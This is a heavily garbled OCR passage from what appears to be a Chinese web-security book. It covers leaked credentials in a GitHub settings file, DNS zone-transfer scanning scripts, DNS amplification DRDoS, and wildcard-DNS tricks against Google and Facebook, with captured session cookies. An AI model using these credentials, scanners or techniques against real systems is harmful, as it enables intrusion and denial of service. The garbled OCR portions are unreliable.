REEW | AR | B

Q @jreies =
@ s [ E A R I
B, s
s BHNARALIGSH1008307T , TERITHAFRIFE | (AD) ©
B BEA }
| I8 (8L) i ) N ADe8 v
if::w XE—FURERESG, EP2ETR. (RSEEEE  ZERRTRERE, | A SRRkt | BEEE
BBIE(82) BB
=REE0)
Bz
BBIER©) )
WWW.WO0YUN.Org
& 4-2-13
shop (& 16 ) LGEE
EAEE A T 1
O |E8| #EA =3 o111
SK2H)
0O '&= RN LA BHDANELIFEFE100/307T . REREIEIEERR ! (AD) - =58 A5%ET
O & REM A BHNATELIFSFE100#307T . REIREIRIEHEERR | (AD) 1954587
i s NoE )
O = RN A BHNATELIFSE100/307T . REFRITIEEIRE | (AD) - NHEFEISET , S5l B EEny s (| 115138
WE 133
0O = RN BESMNRFTR EELETIREEN WM SEEEDANS | (AD) - NEEAEEEEs  Ees o 11858
0O = RN L WE/REICTAAASE/RTRER  BREFAAERN | (AD) - TEIES 108308
O & RN A EBEDIVEH2IF0RERe T2 T=4EFREE | (AD) 108138
O & RN EEE ORI | 2IFMETROREHE | (AD) - NEEAELIEES = 3 98308
O @ =RNEEE COMAFHICREB—FHES | (AD) - 8H6R
€ N SE T LSS ! (AD) - g E > WA
9 _J RN A @%D/A_lf _f’] Eﬁ_%;ﬁ L#= ! (AD) bty = %Nog\f/?ﬂ.org
l§] 4-2-14

RARMETWLAZ T | ST BRI T LAk EMY , ABTERIRBRER | 7T
sRRYT LD EMEER RS RE S |, MEBEALIERIBE NirE BRI shop 25,
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3. I&ER github (SSGtHEE

https://github.com/ipconfiger/OpenStore/blob/master/settings.py

# encoding: utf-8

DEBUG = True
SERVER_ID ="W1"
SERVER ="127.0.0.1:5000"

DB_URI = "mysql://root:123456@127.0.0.1:3306/orbit?charset=utf8"
TIMEOUT = 3600*6

SECRET_KEY = "11556654433221changge!"

SELF_KEY = 'edhsr8~w'

# Next configurations for Email Sender
MAIL_SERVER = 'smtp.163.com’
MAIL_USERNAME = 'liming0831'
MAIL_PASSWORD = '1gasw?2'

DEFAULT_MAIL_SENDER ='liming0831@163.com’
NOVA_ADMIN = (‘admin’,'aipuip662012','adminTenant')
NOVA = "mock"

FUFHEERY 163 HRFEMKSHITER

HR IR AL hecs ] ZHEM W 5 ik *Hqq.c.. Mail deli... Mail deli... » + !
SlfE BSH o|[mw || 28 | wen | son .| w5 || BE B 2 >) (%
SRS FEEY Mg - MRRRERSRE - RE%sss
L

s A 23 #HAig LHRHCE

RARRRASH % Postmaster RYRME 0
WA

% Postmaster RYGRIE 0
SR
B2 s & Postmaster R 0
iR % Postmaster AR 0
BRI
8 PSR 2013, iERMN—ERBHF—EH!
Xt
P, % Postmaster RYRE 0
% Postmaster RYERIE 0
ﬂ] ArAe i
ﬁl@*mj % Postmaster RYGRIE 0
e % Postmaster RGRIE 0
f = Postmaster ﬁmiﬂﬁ @WWW‘WDDyUn.OTg
& 4-2-15

EEHMEIEI T google HRFE
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Content-Type: multipart/mixed; boundary="=============== 5527400465189733616=="

MIME-Version: 1.0
Subject: =?utf-8?h?50iR5bCxOpivArHLOK+VOYKUSLULTTyM5Y+150C05LmI5qCI5E1h?=

From: 1iming0831€163.com

To: superpoverleefqnail.com

Date: Fri, 11 Jan 2013 11:54:01 +0800

Message-1D: <20130111035401.2548.8317281ocalhost. localdomain> WIOOYOrg

4-2-16

http://open.codoon.com/ FAF&A google Hifa 35 163 HRFEAIZERE—RERTLL

AJLAEEER :

C  open.codoon.com 9 =

BRERAPISC

=Mk
YR K | M RR M AP
EERMNA
WHRFABAPIRFFAEERCHNA, FafmRS6ERHPEIER ==L
Hiik.
LFIRR &APIM%ti@Hﬂmeim,ﬁj?ﬁmmMMMMﬁﬁmm
[, ¥ SESH ; E | FURAEE T I PRI AP R 45 ] M WWWWOOYUN.or

(£35e ) ==fEmiE : dkpw
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$HE 53 (DNS) imMigiE

F1TH REMARES

E& BA
*8 : Bn. $%
RgLE : http://www.wooyun.org/. http://www.secbook.net

A
Bs

DNS (EHER% ), BIENE , REBINZEVEIINA IP AT IEHINE 2
T (BENERET ). DNS #hil0z177E UDP iz £, ERiwOS 53,

DNS iEiFFIA

1. DNS HEXERMHEE

Dns BENEEMATNSHIEN , BRiHkHZNERM AT IRE &5 DNS iR
SERMETIRSS . FIRTERT DNS IRSEEMMRSIFRERE | AIRZ A 8<% DNS
RS et T ERECEN DNS TR ZERVEIRRL AR dns 35X (BUIREEA
Y, HeSEHUEZBFERLASAE DNS RS BE—EEIER | BB
EAt SR MEZRATRTIPRENMIERTERERHE | EESHEWNEEKISE,

DNS RS2 ESEIERY | ERINREEEIRE | BTEXREET

allow-transfer {ipaddress;}; &Y ip BRI TIEHEIXAIIRSS 5
allow-transfer { key transfer; }; J8Id key PRHIAT I TIHEXAIIRSSES

BEAR M | —FMEETE options EL&1E ; —FMRETE zone BLEl, L0
B zone [REHITECE , MIB<T options BUIRE., 15 zone #H1T 7 EE , NiESF zone

HIEE , options BLEUIT :

options {

98 T / & 125 T AEME R e Wb 21580, VIZ0H ARG &
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listen-on {1.1.1.1; };

listen-on-v6 { any; };

directory "/bind";

pid-file "/bind/run/pid";

dump-file "/bind/data/named_dump.db";
statistics-file "/bind/data/named.stats";
allow-transfer {any; };

allow-query {any;};

|

zone EEEWITF :

zone "wooyun.org" {

type master;

file "/bind/etc/wooyun.org.conf";
allow-transfer {any;};

b

EEMiHRA A BIND 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6 3.6 , BRIARISEEEf | Ed
BINRA allow-transfer T, NREZERBALEHHITHERE ( AFNFIM
allow-transfer Il ), MEFE dns EHIEXIFE.

TEAPYLUEY dns BUEXREWRIEE FRMBRFIE. S85—EIFATHEE

(k. RERER ) itHEE, MIMERIRRNERES  HeeEuRiE  E 558
SREHERNNE , (EREBFENRERIIIT ek E HENREIRE.

WEE TR AT , 20 dns ARS3EE IP : 1.1.1.1, MifiH®= 79 wooyun.org ,

Wik T ¢

#dig @1.1.1.1 wooyun.org axfr  FEATLABERREIESRSEZINT ¢
; <<>> DiG 9.7.3 <<>> @1.1.1.1 wooyun.org axfr

; (1 server found)

;; global options: +cmd

wooyun.org. 86400 IN SOA wooyun.org. rname.invalid. 0 86400 3600 604800 10800
wooyun.org. 86400 IN NS wooyun.org.

wooyun.org. 86400 IN A 127.0.0.1

wooyun.org. 86400 IN AAAA ::1

test.wooyun.org. 86400 INA 1.1.1.1

xxx.wooyun.org. 86400 IN A 2.2.2.2

wooyun.org. 86400 IN SOA wooyun.org. rname.invalid. 0 86400 3600 604800 10800
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http://www.wooyun.org/bugs/wooyun-2012-04229

2. tEMuL DNS Xig{EiXRmiataN bash shell SCH
THESH eecs.cc SEEZBEN—EEBFABIRAY DNS IrRSS:8 , BN T X

RIERPR |, BELER : cc KIFEEMTD , W& 5-2-1 :

5-2-1
MEBAR S £1k Top1000Web =5k, L33, &K :

http://www.domainvader.com/website/top-sites.php

ZIGRBRNFENER | BIENT

LtEab2Et 1000 NMFEHTRE , BN REA 1000 MNEAER |, BURORITENX 1000 4N html 378,
5 grep &R IENFRIATUAIX 1000 NI Z AT HEAIEERIE A , Tit 1000000 4,

Hrh |, grab.sh B9540 threads BRFA GET #2281 , XU EINHEEIASTE.

BOAA 1, AIRERRTIESIES | (BAREES | LB GET i5KiERT.

grab.sh {E340T :

#1/bin/bash
declare x

declare threads=1

100 10 / & 125 T AUHME B e Ml 2158, VIZIA ARG .
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# process concurrency

declare mod

for xin “seq 1 1000°
do
echo "http://www.domainvader.com/website/top-${x}000-sites.php"
time GET "http://www.domainvader.com/website/top-${x}000-sites.php" > Sx.htm| &
mod=$(( x%threads ))
if [ "Smod" -eq "0" ]
then
wait
fi

done

translate.sh {340 :

#!/bin/bash

declare x

declare |

if [ -r "top100_0000sites.txt" ]
then
rm -f top100_0000sites.txt
fi
touch top100_0000sites.txt
for xin “seq 1 1000
do
echo "analyzing ${x}.html..."
# check if readable
if L[ -r "${x}.html" ]
then
echo "file ${x}.html doesn't exist or aren't readable :("
echo "file top100_0000sites.txt collect total “cat top100_0000sites.txt | wc -I° websites"
exit 1
fi
I="grep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | wc -I'
# check content if been entirely grabbed
if ["SI" -ne "1000" ]
then
echo "file ${x}.html's content is not entire :( please check"
echo "file top100_0000sites.txt collect total “cat top100_0000sites.txt | wc -I° websites"
exit 1
fi
grep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | grep -Eo --color

N
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'(([A-Za-20-9_-]+)(\.([A-Za-z0-9_-])+)+)$' >> top100_0000sites.txt
done
echo "done :)"

echo "file top100_0000sites.txt collect total "cat top100_0000sites.txt | wc -I" websites"

BREWER | a0 5-2-2

5-2-2

DNS XiEIEPREantan , B0 e :

if dig @S{ns} ${d} axfr | grep -E --color 'IN[[:space:]]+A| IN[[:space:]]+NS' &>/dev/null
then
echo "nice! a hole"

fi

AR ERERMEMFEFAWZ ORRTE | IX N EpREERIZAY,
Hrb |, threads AFHEEL , BHAIRE R 40 , BTF—/ M BEATRETRZ D ns , MEAE
FISEPRFF AR threads*3 , domainFileList A& 51&NANHE5IFR S , TTEE

Xz , dns_transfer check.sh f{FBa0T :

#!/bin/bash

declare d
declare s=0

declare ns_str

10250 / & 125 BU (LGHE R Il 2350, V2 TRk .
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declare ns

declare mod

declare threads=40

# process concurrency

declare domainFileList="top100_0000sites.txt"

for d in “cat SdomainFileList’
do

s=5((s+1 )

echo "S${s} : ${d}"

ns_str="dig -t ns ${d} | grep -E --color 'IN.*NS.*[[:space:]]([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+\.' | awk '{print
S5} | grep -Eo --color '([A-Za-20-9_-]+)(\.([A-Za-z0-9_-])+)+"

for nsin $ns_str

do

echo $ns

if dig @S{ns} ${d} axfr | grep -E --color 'IN[[:space:]]+A| IN[[:space:]]+NS' &>/dev/null ; then echo "nice!

transfer done! :) rank: $s  domain: $d ns: Sns  -—-->"; fi &
done
mod=3$(( s%threads ))
if ["Smod" -eq 0]
then
wait
fi
done
TEFPLEER -

# nohup bash dns_transfer_check.sh &>log &

BiIT—&RZ)E AEE TR 19212 N AASHEER grep. awk, sed FTENEZ ,
MMSRHERIEER,

WooYun: £&k Top1000Websites H77#E DNS Xisi{&iXimiRIIR LY 2R

http://www.wooyun.org/bugs/wooyun-2014-061403

dns_domain_check.zip 7% :

http://static.wooyun.org/20141017/2014101714082995862.zip

XEFBEERIHEE. ERE dns_transfer_check.sh Sig&51% & TIREEECH
FERENSHEA.

%7 world_top1000000 , iIXEA&7T china_top500 5
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china_top1344_entertainment i5%13K.

https://github.com/yangbh/Hammer/blob/master/plugins/System/dnszone.p

y

3. 7 DNS Y DRDOS %t

BJLRAIRTE VPS SABHUE T, BRRIRS B ZERFERINERITS, fInE T Hith

FAFRIER. HMEMERIR T —SFEEEZE  EARERIRSZKAIEX T ZE—H

RERRE, SKEXFEIMEREI DNS BEX/NE 56 EA.

DNS 28T UDP fIthY, iRBEFIRE WEEUURZIMERR IP FAEIEK.

DNS RILABRMNR B S RAERERIRFT, 1EImN &R ATEERCK,

DNS fRSS=aAISREI TR DNS FIiEI3 DNS Ffh, BfiIHE—AEMEIEK.

DRDOS(Distributed Reflection Denial of Service) , i B XL AN ERITFE

18RI DDOS, JARIARETET Relection , BIXMIEARLL botnet EESERZEE,

MEKEBKE—NE=T, BIBE=SPEBHE=SBERREEZEE

o HEBIPTHELZE  BKRERT X HEEZES,

® I RAIEXERAIRRSIARHE T IEERIBAFIXIE RRS AT LAS LA RRYIR
.

® ¥ botnet FIZEKREV,

LR AR RIS AR TSR =75, MiXERMBRIS=T51RESEEHA]

VPS EAZEfERRY DNS @3RS , NEFAEHXL DNS [REHREZEEHE

WEAE.

1REERS DNS BIBABEE — MR EN_EEHRAEXRSIHI 75K isc.org XD
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&, XNEL/\ERRERE AR R THORILERINE ? /£ zoomeye E3T

— NMES—RRPHAIR L NMFEXBEAY ip , BIHZREERLL -

= dig any isc.org @xx.XX.XX.XX

; <<>> DiG 9.8.3-P1 <<>> any isc.org @xx.XX.XX.XX

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19109

;; flags: gr rd ra; QUERY: 1, ANSWER: 27, AUTHORITY: 0, ADDITIONAL: 11
;; QUESTION SECTION:

;isc.org.INANY

;; ANSWER SECTION:

.. BB—XHRA, KKT == TEB pastebin FITHET BB
;; Query time: 42 msec

;3 SERVER: XX.XX. XX XXH#53 (XX.XX.XX.XX)

;; WHEN: Mon Jan 18 12:22:12 2016

;3 MSG SIZE  rcvd: 3330

SENL

http://pastebin.com/raw/d4Pew3EQ

LEZEER isc.org B ANY iISRIRERIER, , JLABZEMIEINRNATIA/ NS 3330 bytes, 13
R IR ZHNCRE [RRSIG] [TXT] [DNSKEY] iXJUIR , MA&ixARI DNS query

K/INEJ79 50bytes, 21d1% DNS 7 FINEHEWMA T 60 (AR, SERITMNPHE T K
7%

TEE IR VPS EE5HFFRS DNS RS 88 (unbond) 2[5, URINEI TBEAI ANY iERiEK
T, #HBE httrack.com,

M—T httrack.com IREIBEZX :

;; MSG SIZE rcvd: 4700

ELZ BIRERIAEYF, B2 2 BlEKIRSZAY 50bytes AT 100 &, M _EIARIEANRLEER
REREFEEHZRICR , B —TURELTTEMWEN ANY BRI LISARHTMEE,

RARTHERAZ  BFAREEE !
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https://www.92ag.com/2016/01/22/brief-analyse-of-dns-based-drdos-attack.html

4. DNS ZfBTSAEIRES | XSS mRLREBIITAIBRLS
SEETHIC— T2 LB LIRS Google 1 Facebook B— MNEBAYRR , F1E
EF+AHFAA—L=RIRETE LR EEREINATZ R ,Google 91X bug
#F T 5000 5T , Facebook [T 500 5T,

HANBIRATBEIEE RO EAMEHEE] HEERSUSH |, SHFEEH payload FIRERSE!
TRt SMYIT ABIINRIAREE , HFLIXXE bug ERELH Fyodor B8,

(&/fd 1288 | XEHILEENRSRERSHRXTNSEG , SERT—NUBHHL
Lemonias FIARR 7 —MRIHIH (IR LIEIRIRE] | 498 =4S (FD Y
BER ) TEBZMRARS »

AR RESE MIREL , (EREEIDXURAESIER , BRERRR.
Wilcard DNS #1 Content Poisoning
NZFBFERM HTTP Host 3L5 domain name IARIIFF=452240 URL SIS ENZ

5, LH , Django tEREE T —LiFA , 5 James Kettle &5k host header I¥
HEX.

MR NARERS |, AT T — M EN LI A T | ATaeased N b ashEEe

. BAMRENEE—TXKTF Hostnames FIEEERIKA :

“EHERRIARE ( RFC ) A9INY , IBRGZAEHNEN SRR RERE S Ascll FF'a '8z ( FARH KNS ),
HF0E'e , MEFRF (-7 ) £ RFC 952 FHRARRBANE | E T AL ESE=MTA , HEXR
BELAUEZFEER | AT , FESAINE ( RFC 1123 ) RFLUBIEFLIFENER. FEEHMTS | mE5=
BEIFN."

REBRESTEXE , M Windows , Linux #1 Mac OS X 24b :

-www.plus.google.com

www-.plus.google.com

www.-.plus.google.com

BiTAALARERY , B2 Android REIXATAIRY , WE 5-4-1 FE 5-4-2 :

5106 01 / & 125 00 AXHME R Yol = 23580, VIZIA FAREHE.
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=43 1054

.-.plus.google.com

nslookup: can't resolve 'www.-.plus.google.com’
1|u0_a60@GT-19100:/ § |

& 5-4-1

Terminal

bernardomr@splinter ~ $ host "www.plus.google.com" | head -nl
wwwi.plus.google.com is an alias for plus.l.google.com.
bernardomr@splinter ~ $ host "\-www.plus.google.com" | head -nl
-www.plus.google.com is an alias for wildcard-talkgadget.l.google.com.

bernardomr@splinter ~ $ host "www-.plus.google.com" | head -nl

wwwi- .plus.google.com is an alias for wildcard-talkgadget.l.google.com.
bernardomr@splinter ~ § host "www.-.plus.google.com" | head -nl

wwwi. - .plus.google.com is an alias for wildcard-talkgadget.l.google.com.
bernardomr@splinter ~ §

& 5-4-2

FAMBIF , TERY URL :

https://www.example.com.-.www.sites.google.com

NRFEAERBAFZEFEULE URL, Gmail 58I , RIREMEES BRI

https://www.example.com

sites.google.com

W& 5-4-3 :

Entrada Bernardo Rodrigues <bernard0_> 10:05 (Ha 54 minutos) - v
Com estrela para mim

u ]
[]

Importante https-/iwww example.com.- sites.google.com

Enviados

Rascunhos

Je

Mais -

& 5-4-3

$5107 50/ & 125 T ANIME B2 Yol 21580, VIZIH THRZEHE.



Fozz HHRM 2245k | 5-E

Facebook 7£ zero.facebook.com FHETE—NZENT. ATHBXNER , F116

{EFhESAY URL SKNEEARSS | FHAITRIRERZR FHMAHIASNE , 165 Facebook 2

ASEB OIS URL IR FHMEF XS |, 2E 5-4-4

Confirmar seu endereco de e-mail

, e no bk que
Ito confrmaré seu e-nai como seu enderego de contato,

& 5-4-4

HARIXN A LN E S EMEMEARET (RAsERE— M ANEFIA
XN RBE— P IERRIBRTE ?

BRigFAEFIH goodguy@example.com I Facebook K , aNERF(FHEH :

https://www.example.com.-.zero.facebook.com

NS Facebook , HFAFBEMAIFECIERMNK, :

goodguy+DUPLICATE@example.com

[email protected| @/GHEIINFRF . SICECHEAZIFRIBRIK,F |, =X

http://drops.wooyun.org/cdn-cgi/l/email-protection

EXNMGIFEAF |, Facebook KIXRIFFEFHIAR email Bi5idaIER: | 40E 5-4-5 :

Ao necessaria: confirme sua conta no Facebook Entrada x

Facebook <register+AYnVnYm31bnREDWFpbCt3d3cuZ2 WZ2xILmNvbStAZ2 1ThaWwuY 29t @facebookmail com>
para mim [+

0la Pedra,

Vocé se registrou recentemente no Facebook. Para concluir seu registro no Facebook, clique neste link:

http:/fwww example com ——-
Pode ser qua vocé seja solicitado a inserr este codigo de confirmacdo: 820268818
O Facebook ajuda vocé a manter contato com todos os seus amigos. Quando vocé se registrar no Facebook, podera compartilhar fotos, planejar eventos e mais.

Qbrigada,
A equipe do Facebook

5-4-5
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XA ARG ERSEEE MY , {8 Facebook FHEEZEIFMH. iRIRED
RIDIEE TR FEMHARS. BEAILL (ERHEE ) BIEREE | MAREN

URL (iBmEXE):

http://zero.facebook.com/

MmAE— AR URL : www.example.com.-.zero.facebook.com ),
XSS #0 Wildcard DNS

£ Google FFHILRBIMAIATIE , FARRBAIN 7 iZfETaNEE | 40

- https://wO00t.drive.google.com
- https://wO00t.script.google.com
- https://wO00t.sites.google.com

NSRBI RIE R X LI Z TR | {RRTLAT S scans.io :

https://scans.io/

MRS (RATLABEIG XX E DNS iBR BB EERALRBECATERY SSLIES 40

* sites.google.com

RIFFEARRT , #E drive.google.com 1HRFTGAETE URL 24chfEFE.-. (5% 500 $&iR

HR ), FBEEERY URL BIXAFRY

https://www.example.com-----www.drive.google.com

S{REEFBR URL {£R Google Drive Bt , EAE—MHEI—N43k |, F=idEYs/

THE  SERBFHMERIA , BFEMFRIAERRXER |, 1B 5-4-6

n ||

Your Google Docs files are zipped Entrada  x

noreply@google.com 00:13 (17 minutos atras) o -

The files you asked Google Docs to zip are ready for downloading.

The zip file will only be available for a limited time. Please download it in the next three days to ensure
that you receive it before it is removed.

5-4-6

“ready for downloading” $EEIEM :

https://www.example.com-----www.drive.google.com/export-result?archiveld=REDACTED
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FIHRIALE [RBHAXARTH BNDATENEZEE 988 CBRIRBES KA.
BAEHAARER URL , EEIEAIL Y — 1 &8K DNS [RSRERIMTH. SHAR
URLhEE—EHEN "-" ZE , BTN P bES R (RAIEFTA =5 =20 1P

etk , 4NE 5-4-7 :

for root@splinter: ~ =

5-4-7

HFEFRE |, {19 DNS IRSB2EXEFRVINGDR , EEARIIRERIE T IENRIAT
"--" BIBIER, FARIEM ) AT A TIXENE (ERstE LSRR SERMUEEREX

L& 5-4-8 :

IF YOURE HAVIN' PERL L GoT 99 S0 T UsED NowW T HAVE
PROBLEMS T FEEL PROBLEMS, REGULAR 100 PROBLEMS.

5-4-8
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ZUtAREARR— AR ( 2013 F 108 ):

- docs.google.com

- docs.sandbox.google.com

- drive.google.com

- drive.sandbox.google.com

- glass.ext.google.com

- prom-ga.sandbox.google.com
- prom-test.sandbox.google.com
- sandbox.google.com

- script.google.com

- script.sandbox.google.com

- sites.google.com

- sites.sandbox.google.com

WE R BRSNS | ROsesud BIERR | BAREFE N ERAPIRIRR
EF0AHIENK, Icamtuf EEL&E1FFA] HTTP cookies, or how not to design protocols ,

SNERBA=H

www.example.com

M drive.google.com ZRFAFAGHIE URL :

http://www.example.com---.drive.google.com

BERREHA ? BREBRRILTISERMNYS , MNE 5-4-9 :

Request Response
[Method  |w| [Header Text |w] (Body Text |w] ()] @ @[] )0 [ sena | [HeaderText || [Body:Text |w] @[]

BET https://vpn.bmaia.com----- .drive.google.com/ HTTR/1.1 HTTP/1.1 588 Internal Server Error

Host: vpn.bmaia.com-—--- .drive.google.com Content-Type: text/html; charset=UTF-5

User-Agent: Mozilla/5.8 (Windows NT 6.3; WOWG4; rv:24.8) Gecko/20100101 Firefox/ x-chromium-appcache-fallback-override: disallow-fallback
2a.0 Date: Tue, 22 Oct 2013 @4:82:45 GMT

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=8.8 Expires: Tue, 22 OCt 2013 @4:82:45 GMT

Accept-Language: pt-BR,pt;q-0.8,e8n-US;q-0.5,en;q-0.3 Cache-Control: private, max-age=8

Cookie: NID=67=waleArZgPPRvUL-7mQs-X1FabIvPrhtySSEw_JwhNkd9owsIPedtIHYAcamHb - X-Content-Type-Options: nosniff
RFQXSh7sXfG6EKXe_eKPYS2sQL2RCxgRIFFCZENEWY_ejMftmfasseyIe0sUW- X-Frame-Options: SAMEORIGIN

NVNhhFSd366166n131wpBBNy ToMWh_R41sFGUUEXUTTC2; SID=DOAAAMEAAABSL]-FXECREBITLSDPR- | |X-XS5-Protection: 1; mode=block
SGWxN117yD1iG11CewzKyCnKaY35]1YSCS5VeeEZ1PiZXtsUbNCANCKIFNXTAEYIOYMLShEEba734vE2M | | Server: GSE
0giBI-H6GEN1IDygENKMpAnZSr-EiYDgr -2y dK6zph_LIzHTHU- Alternate-Protocel: 443:quic
15T53wdHL7725aEQB5QHqUhZEZpMBbPYRD1KOVINZHKCHE3@5E5320M1IL i ~xc ik
ZVhUi9aN90n14W15rhsdIq2Dt01iuMkVXieMXs4idy imKBrdfsInNGHEBXS5QY; HSID—
A1@9epgEMEEXGIFI8; SSID=AvTghYkIewSSZxPLO; APISID=OhsajyG2dHDYULUk/
AzNDAhOOPZFfpKHb3; SAPISID-3G0VQqjKq7KEDW-g/AT7bmwtyPeMRA6bzS; _ utma—133161851.
5849019.1352414506. 1352414506 1362414586.1; _ utmb=133161851.4.10.1352414506; __
Utmc-133161851; _ utmz-133161851.1382414506.1.1.utmcsr—(direct)|utmcen—(direct)|
utmemd=(none)

Connection: keep-alive

Content-length: @

<HTML>
<HEAD>

<TITLE>Internal Server Error</TITLE>
</HEAD>

<BODY BGCOLOR="#FFFFFF™ TEXT="%000000" >
<H1>Internal Server Error</H1>
<H2>Error 5@8</H2>

</BODY>

</HTML>

Time: 694 ms - Body length: 165 bytes - Total length: 551 bytes u
e

5-4-9

BT 00/ 2125 0 WNAME R e Ml 0580, YIZI FARERE .
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IBXERZIRA RIS |,

5-4-10:

Response

XMIF=E , B CRIIRS=REITE nginx , WNE

| methoa

[#) [Header Tex [v] (BoocTen v B0 ® @EEE@ [ sena | |

| Heater Text |¥] |Booy Ted v| (T [

[BET https://vpn.bmaia.com------ .drive.google.com/ HTTP/1.1
Host: vpn.bmaia.com----- .drive.google.com

User-Agent: Mozilla/5.8 (Windows NT 6.3; WOWG4; rv:24.8) Gecko/281808181 Firefox/
4.0

Accept: text/html,application/shtml+xml,application/xml;g=8.9,%/%;9=0.8
Accept-language: pt-BR,ptiq=8.8,en-US;q=@.5,en;q=0.3

Cookie: NID=67=waleArZgPPRwU1-7mQs-X1F3bIvPrhMy8SEw_IWhNkdd9w3IPedtIHYAoamHb -
RFGXSh7sXTGEKXo_eKPY525012RCxgAT FFCZ8n6KY_ejMFtmF4sseyTAOSUM -

HTTP/1.1 288 OK

Server: nginx/1.2.6 (Ubuntu)

Date: Tue, 22 Oct 2813 84:83:13 GMT
Content-Type: text/html

Content-Length: 612

Last-Modified: Mon, 24 Sep 2012 19:14:17 GMT
Connection: keep-alive

Accept-Ranges: bytes

nVNhhF5d3B61B6n131wpBENYTIMWh_R41sFGUUBXUITC2; SID=DQAAAMEAAABGL]-FXECREBITES0OPR-
SGHxn117yD11G11CowzKyCnK4Y35]1Y5CS5VaeEZ1PiZXt sUBWCANCKIFNXTAEYTOYMISha6h47 14T 2M
QgiBI-HEGEN1IDYgENKMp4nZSr-EiYDgr-2ydK6zpld_LIzHTHU-
15T53vdHL7725aEQB5QHGuhzEzpMBbPYRD1KowINTHKcHE385B5]z9N1 I e ilk -
zZVhUi9aNaon14Wl5rhsdIq20t0iuMkyXieMXs4idyimKBrdfs InNGHEBXSQY; HSID=
A189epgEMEEXGIFI8; SSID=AVTghYkIevSSZxPt0; APTSID=Ohs4jyG2dHDyULUk/
AzNDAhOOPZFFpKHD3; SAPISID=3q0VqqjiKg7K6EDW-g/AJ7bmetyPeMRAEbzS; _ utma=133161851.
5049019.1382414506.1382414506.1382414506.1; _ utmb=133161851.4.18.1382414506; __
utme=133161851; _ utmz=133161851.1382414566.1.1.utmcsr=(direct) |utmcen=(direct)|
utmemd=(none )

Connection: keep-alive

Content-length: @

<!DOCTYPE html> L;
<html>

<head>
<titlesWelcome to nginx!</title>
<style>
body {
width: 35em;
margin: @ auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
i
</style>
</head>
<body>
<hl>Welcome to nginx!</hl>
<p>If you see this page, the nginx web server is
successfully installed and
working. Further configuration is required.</p>

Time: 572 ms  Body length: 612 byles - Total length: 836 bytes
& 5-4-10

XAILASE xss | (RELEHI T EIRSREE , AILMEE cookie , FUTHIAT .,
Certificate Pinning 0 Wildcard DNS

FHEALE , —IEBMREF. {BAIRFKAIE Google Chrome HJHHEIIFATIE , BES
SEMHHTIERIGIERS ?
B—asBEiEs  BRLEPFHEAIT Chrome XILTESAIRRR : IXLIE RFC 3BT
It FFABERM HSTS 1 &,

RILIERR AR BER D BT TALER | FHEEAMIXEE "FR8" A9 DNS BiRIER | B
TransportSecurityState ZR7T , Eltt HSTS BERHER. IR EMR T MR

1X{&# TransportSecurityState AIFEEINEZY , W1E] 5-4-11 FOE] 5-4-12 :

FA12 00 / B 125 1 NS R4 Al 258, VIZ0H T aRE .
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[} chrome://net-internals//= %

€ - C |[) chromey//net-internals//#hsts % =

HSTS Ml capturing events (3378)

Query domain

Input a domain name to query the current HSTS set:

Domain: |\«wwv_plus_google_com | | Query |

Found: mode: sTrIcT sts_include_subdomainsizzue pkp_include_subdomainsizzus
dDmain!plus.google.com

pubkey_hashes:sna1/4n97281v354KP560ywauge/baXe=, shal/IvGeLebgzPrdI0b0wn i 2xVIdXge=, shal/QMVE
HW+MuvCLAO3vae6H0AWzZucO=, shal/AbkhxY0L343gKf+cki THVWp+ozk=, shal/fVujyo43ZR18ccP] t 3ITHAX bW
=, 2hal/vg70y] 5ng0co9nyMCDGdyTTeijM=, shal/QorWMOST+EnAymT ShfRgo3nQ40o=, shal/S50Zo0+5v5spXXR9g]
IEBFM5iQnag=, shal/wHg¥aI2J+6sFZAWREapIZbiKzZE4=

& 5-4-11

['] chrome://net-interals//* %

C [} chromey//net-internals//#hsts
capturing events (3652)
Query domain

Input a domain name to query the current HSTS set:

Domain: |mwv—.p|us_gungle_cum | |Query|

Not found

& 5-4-12

{RETLAfE Chrome V31 WRAZ BT Z EINULA)R : @1 OWASP ZAP IR ( B22HIIE

), AL

https://sites.google.com

Chrome&£E3—1 "heightened security” AU EIRBE MNR{FEAFENBIURL A :

https://www-.sites.google.com

HER

https://www-.plus.google.com

Chrome RSS2SR T “Proceed anyway” RY%IR , 20E 5-4-13 71 5-4-14 :

FA13 00 / & 125 70 AUIME B2 e b 28, V2 THRER .
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- Security Error ¢

« C | % bapsy//sites.,google.com

The site's security certificate is not trusted!

You attempted to reach sites.google.com. but the server presented a certificate issued by
an entity that is not trusted by your computer's operating system. This may mean that the

server has generated its own security credentials. which Chrome cannot rely on for identity
information. or an attacker may be trying to intercept your communications

You cannot proceed because the website operator has requested heightened security for
this domain oh Certificado

Back to safety Geral | petalhes | Caminho de Certificacio

» Help me understand "é"?; Informacdes sobre o Certificado

Este certificado ndo pode ser verificado junto a uma
autoridade de certificagdo confiavel.

=X CAWINDOWS\system32\cmd.exe = =

“UserssAdmin?>ns lookup sites.google.com 8.8.8.8
Fervidor: google—public—dns—a.google.com
Address: 8.8.8.8

¢ resposta autoritativa:s
w3_1l.google_com

28AA:3f0:4001:86.
2601 .17.31.98
2601 .17.31.114
201 .17.31 .94
281 .17.31.113 Emitido por OWASP Zed Attack Proxy Root CA
2601 .17.31 .88

Addresses Emitido par sites.google.com

valido a partir de 27/03/2013 até 13/01/2022

281.17.31.123
281.17.31.99
sites.google.com

OK

- o
— SSL Error x
€« C' | [ bErs//www-sites.google.com =

The site's security certificate is not trusted!

“ou attempted to reach www-.sites.google.com. but the server presented a certificate
issued by an entity that is not trusted by your computer's operating system. This may

mean that the server has generated its own security credentials. which Chrome cannot rely
on for identity information, or an attacker may be trying to intercept your communications

“ou should not proceed. especially if you have never seen this warning before for this site

of Certificado

Proceed anyway Back to safety
Geral | Detalhes | Caminhe de Certificagdo

P Help me understand

f Informagées sobre o Certificado

Este certificado ndo pede ser verificado junto a uma
autoridade de certificagdo confiavel.

CAWINDOWS\system32\cmd.exe

~Admin>ns lookup www—.sites.google.com 8.8.8.8
google-—public—dns—a.google .com
Nddress: 8.8.8.8

Mio £ resposta autoritativas
brouwserchannel-sites.l.google.com
